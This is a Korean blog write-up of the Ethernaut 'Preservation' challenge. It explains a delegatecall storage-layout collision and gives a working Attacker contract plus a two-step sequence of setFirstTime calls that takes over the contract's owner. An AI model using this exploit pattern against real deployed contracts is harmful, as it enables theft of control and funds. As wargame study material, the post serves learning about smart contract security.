새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] Preservation

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

우리의 mission은 Contract의 owner() 권한을 획득하는 것이다.

우리가 알아야 할 것은 delegatecall이 작동하는 방식, 변수가 Storage에 저장되는 방식을 이해해야 한다.

 

delegatecall과 Storage 저장 방식에 대해 왜 이해해야 할까??

contract Preservation {
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}
  
  // Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

일단 두 function의 의미를 살펴보자

setFirstTime() 함수는 _timeStamp를 input으로 받고 delegatecall을 호출한다.  그러면 setTime() 함수의 인자로 _timeStamp 들어가면 _time은 _timeStamp가 되고 storedTime = _timeStamp가 된다.

그리고 delegatecall은 호출한 Contract에서 실행되는 것이 아닌 Contract에 있는 함수를 자신의 Contract로 가져와서 실행은 시킨다. 그러면 실제로 Contract Preservation의 storedTime이 바뀌는 것이다.

 

실제로 한번 확인해 볼까??

timeZone1Library() = 0x9f6F8698306cA3FE9135979bFfba4186032Cb61e

timeZone2Library() = 0x424696691AAf82ca057eD8eDD249Db1D0d19745b

setFirstTime(100)을 주었는데 신기하게 timeZone1Library()가 바뀌었다.

왜 이러지?? 왜 storedTime이 안 바뀌지??

그럼 setSecondTime(100)을 주면 바뀔까??

어?? 이 것도 timeZone1Library가 바뀌네...

 

delegatecall에 의한 storage를 한번 살펴보자

Contract Preservatoin를 호출하면 Storage에 전역변수가 차례대로 저장된다. 그리고 delegatecall을 하면 LibrarayContract의 Storage에 있는 참조 포인터를 참고하여 Storage A를 변경한다. 그런데 StorageA는 slot이 4개인데 StorageB는 slot1 한 개다. 그래서 setFirstTime() 함수를 참조하든 setSecondTime() 함수를 참조하든 storedTime은 timeZone1Library에 저장된다.

그래서 setFirstTime(100)이랑 setSecondTime(100)을 호출해도 timeZone1Library가 변경된다.

 

owner를 바꾸려면 변수를 똑같이 만들어서 delegatecall을 해야 한다. 그러면 우리가 Contract를 하나 만들어서 이 함수를 delegatecall 하게 해야 하는 데 이미 참조하고 있는데 어떻게 하지??라는 의문이 든다.

function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

setFirstTime() 함수를 잘 보면 timeZone1Library의 address를 참조하여 delegatecall을 시도하고 있다.

어! 그러면 timeZome1Library의 주소를 우리가 만든 악의적인 Contract의 주소로 넣으면 되겠네??라는 생각이 든다.

 

이제 해보자!

contract Attacker{
    
    address public timeZone1Library;
    address public timeZone2Library;
    address owner;

    function setTime(uint _time) public {
        owner = tx.origin;
    }
}
// address: 0x04eBA7a502126e2257C99F5A31b3f0Db3e378F8A

악의적인 Contract를 Deploy 하는데 전역변수는 Preservation의 Storage에 있는 owner의 위치에 맞게 넣어주었다.

그리고 그 함수의 owner를 나의 주소로 하게 setTime함수도 만들었다.

setFirstTime()의 인자에 Attacker의 address를 넣고 호출하면 timeZone1Library의 값이 Attacker의 address로 바뀌는 것을 확인할 수 있다.

 

지금까지의 상황을 그림으로 나타내보면

그림의 address는 timeZone1Library의 값을 나타낸다. 그리고 input는 _timeStamp의 값을 나타낸다.

흐름을 보면 timeZone1Library의 함수가 LibraryContract를 delegatecall을 했다. 그러면 storedTime에는 _timeStamp 즉 우리의 input인 Attacker의 address가 들어갈 것이고 storedTime의 값은 timeZone1Library에 저장된다.

 

그러면 timeZone1Library의 값이 Attacker의 address로 바뀌었다. 이 상태에서 한 번 더 setFirstTime() 함수를 실행하면

Attacker에서 delegatecall을 한 것으로 된다.

Attacker Contract에서는 setTime함수가 실행만 되면 owner를 tx.origin으로 바꾸기 때문에 input을 아무렇게나 주면 된다.

이러한 흐름으로 owner에는 tx.origin이 저장되고 Preservation Contract를 소유할 수 있게 되었다.

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] Delegation  (0) 2023.02.01
[Ethernaut] Token  (0) 2023.02.01
[Ethernaut] Telephone  (0) 2023.01.30
[Ethernaut] CoinFlip  (0) 2023.01.30
[Ethernaut] Fallout  (0) 2023.01.29
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.